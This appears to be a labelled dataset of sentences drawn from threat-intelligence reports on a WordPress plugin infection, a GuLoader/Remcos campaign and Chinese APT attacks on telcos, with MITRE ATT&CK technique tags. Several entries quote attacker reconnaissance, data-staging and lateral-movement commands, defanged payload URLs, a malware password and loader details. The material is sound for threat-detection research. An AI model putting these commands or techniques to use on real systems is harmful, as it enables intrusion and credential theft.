{"sentence": "If your website has been affected by this mass infection, of course we can help, but if you are tasked with cleaning up this malware by your lonesome be sure to follow these steps:Update all vulnerable software componentsRemove the malicious posts-layouts pluginCheck for recently modified files, including core and theme filesRemove any backdoors injected by the attackersRemove any malicious users planted by the attackersFor good measure, change all administrator passwordsWe have a more detailed guide on remediating a hacked WordPress website which you can find here.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "And, as always, our free website scanning tool SiteCheck can help you confirm if the payload has been removed from your website or not:Key takeawaysTo summarise: Attackers, particularly those threat actors associated with Balada website malware, are quick to pounce on any new vulnerabilities that get disclosed or otherwise discovered.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Website owners with automatic plugin updates enabled are best protected against situations like these.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "There is only a short window of time between a vulnerability disclosure and active compromise attempts, and website owners are not realistically able to manually issue patches in such short time frames in all instances.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "That being said, sometimes website owners can be hesitant to issue all available plugin and theme updates due to concerns about compatibility issues or breaking something, so for this reason it’s also a good idea to place your website behind a firewall to prevent attacks.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Special thanks to Denis Sinegubko for his research and assistance with this post.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Adversaries don’t work 9-5 and neither do we.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "We outline how we responded to the confirmed threat and what recommendations we have going forward.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Here’s the latest from our TRU Team… What did we find? GuLoader is a sophisticated malware loader which has heavily abused tax-themed lures in the first half of 2023.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "In April 2023, TRU reported on ongoing GuLoader activity using tax-themed lures and decoy files.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "In the latter half of May, TRU identified an updated VBScript GuLoader variant across multiple customers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This blog will examine Guloader’s latest VBScript/PowerShell execution techniques in more detail.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Similar to the previous activity, GuLoader execution begins with the user clicking on a shortcut file and launching a PowerShell command, which retrieves a decoy tax document and VBS script.", "labels": ["T1105", "T1204.002"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 1 Endpoint view of GuLoader’s execution chain.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Next, PowerShell contacts two shortened links, which lead to two files hosted on softmedal[.]com (a file/image sharing site).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The first file is infos.pdf and appears to be a real US income tax form.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The PDF is opened with the default app for PDF files (Adobe Acrobat in the above image) and displayed to the user as a decoy.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 2 US Tax Form 1040, opened and displayed to the user as a decoy.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Redactions added.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The second file is Tefor.vbs.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Like GuLoader VBScript variants in the past, this is highly obfuscated and contains junk code to impede analysis.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The script concatenates hundreds of smaller strings into a single variable which ultimately builds and executes a PowerShell command.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 3 VBScript \"Tefor.vbs\".", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Echoing the A1 variable to a dialogue box reveals the next stage.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Summary of GuLoader's Execution Chain Before stepping through each step in GuLoader’s execution chain in more detail, we can summarize the entire process: Tefor.vbs VBScript is executed by the user clicking a shortcut file.", "labels": ["T1204.002"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "First stage PowerShell is executed by the VBScript.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "BitsTransfer is used to retrieve a payload package containing the second stage PowerShell and two shellcode buffers.", "labels": ["T1105"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Second stage PowerShell is carved out of the payload package and executed.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Shellcode A is carved from the package and reflectively loaded.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Shellcode B is decoded by Shellcode A and reflectively loaded.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Shellcode B is used to retrieve and inject Remcos RAT into a legitimate Windows process such as ieinstal.exe.", "labels": ["T1055"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "First Stage PowerShell The PowerShell command contains various obfuscated strings, as seen in the right side of Figure 3.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "These strings are passed to a de-obfuscation function (Sawmo9).", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This function contains a loop that iterates over each character of the input string (excluding the first and last characters).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "In essence, it extracts every other character from the string and concatenates into a variable named $Dryde0, which is returned by the function.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 4 First stage PowerShell de-obfuscation routine.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The cleaned-up PowerShell contains less than 30 lines of code and makes up the first stage of GuLoader’s PowerShell execution.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "To explain its functionality, we’ve formatted (including renaming some variables for readability) and organized the code into several sections.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Section 1: Defines a payload URL (hxxp://194.55.224[.]183/frsh/Remimicra.hhp).Defines the path for the 32-bit PowerShell binary on 64-bit systems ($env:windir\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe).Gets the current process command line string using ((gwmi win32_process -F ProcessId=${PID}).CommandLine) -split", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "[char]34.Retrieves and stores second-to-last element from command line array from the last point.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Assigns a variable that checks if the system is 64-bit and if the 32-bit PowerShell exists in the syswow64 folder.", "labels": ["T1082"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 5 First section of GuLoader's first stage PowerShell Section 2:", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "If the system is 64-bit and the 32-bit PowerShell exists in the correct path, execute a new 32-bit PowerShell process copying the current process command line as a new argument.", "labels": ["T1059.003"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This is likely done to reload PowerShell with the full command line argument but with a 32-bit process required for GuLoader’s shellcode.", "labels": ["T1059.003"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Retrieve the next stage from the payload URL defined in Section 1 and save it to AppData\\Fasta.ski using BitsTransfer.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 6 Section 2 of GuLoader's first stage PowerShell.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Section 3: Reads the content of the payload file using the Get-Content cmdlet.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Base64 decodes the payload content.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Uses the GetString method of the System.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Encoding class to convert and encode a byte array to a string using ASCII encoding.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Extracts a 19712 characters length substring at index position 205484 then execute it.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This string contains the PowerShell to execute GuLoader’s shellcode.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 7 Section 3 of GuLoader's first stage PowerShell.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The final section of the first stage PowerShell is where the code diverges from the variant observed in April.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Instead of writing more payloads to registry, a single payload package is retrieved that contains both the two-stage shellcode and additional PowerShell commands.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The last section contains the second stage PowerShell code: Figure 8 CyberChef recipe to extract the second stage PowerShell from the payload package.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Second Stage PowerShell", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The code contains non-human readable hex strings.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "These strings are passed to a decoding function where they are converted from hex to byte and XOR’d with decimal 18.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The resulting byte array is converted to an ASCII string and returned by the function.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "To speed up analysis, a write-output cmdlet can be inserted into the function to print the decoded strings to the screen during runtime.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 9 Second stage PowerShell de-obfuscation routine.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Once de-obfuscated, the purpose of the code is to reflectively load GuLoader’s shellcode in memory (the code overlaps heavily with this GitHub repo).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 10 PowerShell code to reflective load shellcode.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "As we saw in the previous variant in April, the code defines two buffers containing shellcode: Figure 11 Shellcode buffers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Shellcode A Copies the first 648 bytes containing shellcode from the payload package retrieved by the first stage PowerShell.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This shellcode is used to decode the second buffer using key 58 3E 88 D0.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 12 Key derived from Shellcode A. Shellcode B Copies 204836 bytes of shellcode from the same payload package beginning at offset 648.Once decoded, this shellcode is responsible for fetching Remcos RAT from hxxp://194.55.224[.]183/frsh/iFaeETTILhlw208.bin and injecting it into ieinstall.exe.", "labels": ["T1055", "T1105", "T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The Remcos RAT identified in this case communicates to zazuservr[.]com over port 9019.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "How did we find it?", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The activity was initially identified by eSentire MDR for Network via our global IP address blocklist.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Our team of 24/7 SOC Cyber Analysts traced the blocked network connections to endpoint telemetry that revealed the full extent of the activity described above.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "What did we do?", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Based on information from the initial investigation, we conducted additional threat hunts across all customers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This information was used to update our detection content for GuLoader across our customers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "What can you learn from this TRU positive?", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "GuLoader is a highly evasive malware loader commonly used to deliver info-stealers and Remote Administration Tools (RATs).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "GuLoader leverages user-initiated scripts or shortcut files to execute multiple rounds of highly obfuscated commands and encrypted shellcode.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The result is a memory-resident malware payload operating inside a legitimate Windows process.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Recent GuLoader campaigns employ a topical tax-themed lure as a way of enticing users to click on malicious shortcut files.", "labels": ["T1204.002"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Tax documents are presented to the victim as a decoy while code is executed silently in parallel.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Remcos is a commercially available tool marketed as a legitimate Remote Administration Tool (RAT).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The tool provides various remote access and surveillance features including keylogging, screenshots and audio recording among other features which make the tool an attractive choice for threat actors.", "labels": ["T1056.001", "T1113", "T1219"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Remcos is best paired with a capable malware loader such as GuLoader to ensure uninterrupted execution on systems where it has not explicitly been installed by administrators.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Recommendations from our Threat Response Unit (TRU) Team: GuLoader is actively developed and highly evasive so having multiple layers of 24/7 threat detection and security event monitoring can compensate for gaps across telemetry sources.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Individuals and organizations should be vigilant when receiving unsolicited emails or messages related to taxes.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Train users to identify and report potentially malicious content using Phishing and Security Awareness Training (PSAT) programs.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Protect endpoints against malware by:Ensuring antivirus signatures are up-to-date.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain threats.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Indicators of Compromise Indicator Note f39329106b591529cc1d7e82f4cfbfa6 Tefor.vbs f6489874716c1684221548d18631e3a9 GuLoader Shellcode/PowerShell Combo Payload Package “Remimicra.hhp” hxxp://194.55.224[.]183/frsh/Remimicra.hhp GuLoader Shellcode/PowerShell Combo Payload Download hxxp://194.55.224[.]183/frsh/iFaeETTILhlw208.bin Hosting encrypted Remcos payload 905129eea82849764137f68e12efb2e7 Stage 1 shellcode eabf387e4dc5cff8e24030a09ffa7a7c Stage 2 shellcode, decrypted 1f8721109e05b5283d21a69e25293717 iFaeETTILhlw208.bin, encrypted Remcos payload.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "zazuservr[.]com Remcos C2 eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "By Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen, in collaboration with QGroup Executive Summary In Q1 of 2023, SentinelLabs observed initial phases of attacks against telecommunication providers in the Middle East.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We assess that this activity represents an evolution of tooling associated with Operation Soft Cell.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "While it is highly likely that the threat actor is a Chinese cyberespionage group in the nexus of Gallium and APT41, the exact grouping remains unclear.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "SentinelLabs observed the use of a well-maintained, versioned credential theft capability and a new dropper mechanism indicative of an ongoing development effort by a highly-motivated threat actor with specific tasking requirements.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Overview", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "In collaboration with QGroup GmbH, SentinelLabs recently observed initial threat activities targeting the telecommunication sector.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We assess it is highly likely that these attacks were conducted by a Chinese cyberespionage actor related to the Operation Soft Cell campaign.", "labels": ["T1190"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The initial attack phase involves infiltrating Internet-facing Microsoft Exchange servers to deploy webshells used for command execution.", "labels": ["T1190"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Once a foothold is established, the attackers conduct a variety of reconnaissance, credential theft, lateral movement, and data exfiltration activities.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The deployment of custom credential theft malware is central to this new campaign.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The malware implemented a series of Mimikatz modifications on closed-source tooling.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This post details the multi-component architecture and functionality of a sample, referred to as mim221.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We assess that mim221 is a recent version of an actively maintained credential theft capability upgraded with new anti-detection features.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The use of special-purpose modules that implement a range of advanced techniques shows the threat actors’ dedication to advancing its toolset towards maximum stealth.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "These techniques include in-memory mapping of malicious images to evade EDR API hooks and file-based detections surgically terminating Event Log threads instead of the host process to inhibit logging without raising suspicions staging a credential theft capability in the LSASS process itself by abusing native Windows capabilities.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Version numbers and build timestamps indicate a maintained software project by designated developers.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Closer analysis reveals an element of pragmatism in that the threat actors use modified publicly available code to achieve their goals.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "In terms of attribution, the tooling suggests an immediate link to the ‘Operation Soft Cell’ campaign but remains slightly vague on the specific threat actor.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "That campaign has been publicly associated with Gallium and possible connections to APT41 have been suggested by the use of a common code signing certificate and tooling that shares code similarities.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "APT41 is also known to target telecommunication providers.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Given previous target and TTP overlaps, and an evident familiarity with victim environments, we assess with medium-confidence that Gallium is involved.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "However, we also recognize the possibility of closed-source tool-sharing between Chinese state-sponsored threat actors, and the possibility of a shared vendor or digital quartermaster.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Regardless of clustering specifics, this finding highlights the increased operational tempo of Chinese cyberespionage actors and their consistent investment in advancing their malware arsenal to evade detection.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Infection Vector and Initial TTPs As initial attack indicators, we observed command execution through webshells on compromised Microsoft Exchange server deployments.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The threat actors used C:\\MS_DATA as their main working directory for storing malware and staging data for exfiltration.", "labels": ["T1074.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Noting that the Microsoft TroubleShootingScript toolset (TSSv2) uses C:\\MS_DATA for storing log files, we suspect that its use as a working directory is an attempt to make malicious file system activities look legitimate.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "After establishing an initial foothold, the threat actor conducts reconnaissance like querying user and network information using a variety of tools.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "For example, the attackers used dsquery and query to obtain information about Active Directory objects, including user information, and Remote Desktop user sessions.", "labels": ["T1021.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "They also used the Local Group (LG) tool to enumerate all local groups and members in a domain.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d C:\\MS_DATA\\&dsquery * -limit 0 -filter \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "C:\\MS_DATA\\&dsquery * -limit 0 -filter \"&(objectClass=User)(objectCategory=Person)\"", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "-attr objectSID sAMAccountName displayName mail memberOf >da.back&cd \"cmd\" /c cd /d c:\\windows\\system32\\inetsrv\\&query user&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "C:\\MS_DATA\\&lg.exe \\\\[IP ADDRESS] -lu >", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "169.txt&cd", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The attackers then check connectivity with both the Internet and specific local machines of interest.", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "c:\\windows\\system32\\inetsrv\\&ping 8.8.8.8 -n 1&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "c:\\windows\\system32\\inetsrv\\&ping -n", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "1", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "[IP ADDRESS/HOSTNAME]&cd They also retrieve networking information, like network adapters, specific machines, and network services like Remote Desktop Protocol (RDP).", "labels": ["T1016", "T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d C:\\MS_DATA\\&ipconfig", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "/all&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "c:\\windows\\system32\\inetsrv\\&net use&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "c:\\windows\\system32\\inetsrv\\&netstat.exe -nob \"cmd\" /c cd /d c:\\windows\\system32\\inetsrv\\&netstat -aon |find \"3389\"&cd \"cmd\" /c cd /d C:\\MS_DATA\\&netstat -aon |find \"[IP ADDRESS]\"&cd", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The threat actor made use of the native makecab tool to compress information gathered for exfiltration.", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d C:\\MS_DATA\\&makecab da.back d.zip >1.txt&cd For lateral movement, the attackers made use of the PsExec tool and the net use command for accessing shared resources on remote machines.", "labels": ["T1059.003", "T1570"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "C:\\MS_DATA\\&net use \\\\[IP ADDRESS]", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "[PASSWORD] /u:[DOMAIN]\\[USERNAME] A Penchant for Credential Theft", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "In order to steal credentials, the attackers employ custom modified versions of Mimikatz, including an executable named pc.exe.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Mimikatz publicly available code (top); strings from a Mimikatz modification (bottom)The pc.exe executable stages the execution of three other components that ultimately result in stealing credentials from the Local Security Authority Subsystem Service (LSASS) process.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We refer to the four component chain as ‘mim221’ based on the version number that the tool displays (2.2.1).", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We observed the threat actors deploying individual chunks of pc.exe in the working directory and merging these into pc.exe using the type command.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "pc.exe file chunksWe noticed that the attackers ceased their activities after stealing credentials.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This could indicate a multi-phase attack strategy, where the deployment of backdoors and further persistence mechanisms is carried out separately after credential theft has ensured continued access.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The intrusions were detected and interrupted before the attackers could carry out further phases, such as deploying backdoors.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "mim221 The architecture of mim221 consists of four components: the pc.exe Windows executable, and the AddSecurityPackage64.dll, pc.dll, and getHashFlsa64.dll DLLs contained therein.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "mim221 execution overviewmim221 Component Size Compilation timestamp pc.exe 502 KBs Thu Jun 09 08:02:12 2022 (UTC) AddSecurityPackage64.dll 119 KB Thu Jun 09 08:01:46 2022 (UTC) pc.dll 297 KB Tue Jun 07 16:55:05 2022 (UTC) getHashFlsa64.dll 216 KB Fri May 27 20:56:26 2022 (UTC) pc.exe The main binary executed by the threat actor is pc.exe.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "It decrypts AddSecurityPackage64.dll and pc.dll, stores pc.dll on the file system, and then loads and executes AddSecurityPackage64.dll by invoking its exported function, pathAddPackage.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The execution of pc.exe requires a password supplied by the operator (in this case, P2sSW0rd1234!@#$C), which the operator provides through the key command-line parameter.", "labels": ["T1140"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
